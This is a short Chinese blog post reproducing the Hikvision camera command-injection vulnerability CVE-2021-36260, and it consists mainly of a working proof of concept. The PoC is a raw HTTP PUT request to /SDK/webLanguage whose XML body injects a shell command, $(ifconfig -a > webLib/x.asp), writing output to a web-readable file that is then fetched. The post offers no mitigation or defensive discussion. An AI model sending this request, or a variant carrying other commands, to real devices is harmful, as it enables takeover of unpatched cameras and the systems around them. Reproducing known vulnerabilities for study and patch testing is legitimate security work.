HIKVISION海康威视代码执行漏洞复现(CVE-2021-36260)

Cllmsy_K

已于 2023-01-29 19:40:17 修改

阅读量7.4k

点赞数 3

分类专栏：漏洞复现文章标签：安全

于 2023-01-27 00:12:26 首次发布

本文链接：https://blog.youkuaiyun.com/weixin_47533648/article/details/128768617

版权

漏洞复现专栏收录该内容

4 篇文章

订阅专栏

博客提及页面及成果相关内容，还提到了GET访问/x.asp，涉及信息技术中网络访问方面的信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

2023年将会持续于B站、优快云等各大平台更新，可加入粉丝群与博主交流:838681355，为了老板大G共同努力。

页面：

在这里插入图片描述

POC：
PUT /SDK/webLanguage HTTP/1.1
Host: 192.168.0.215
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: language=zh
Upgrade-Insecure-Requests: 1
Content-Length: 102

<?xml version='1.0'encoding='UTF-8'?>
  <language>
     $(ifconfig -a > webLib/x.asp)
  </language>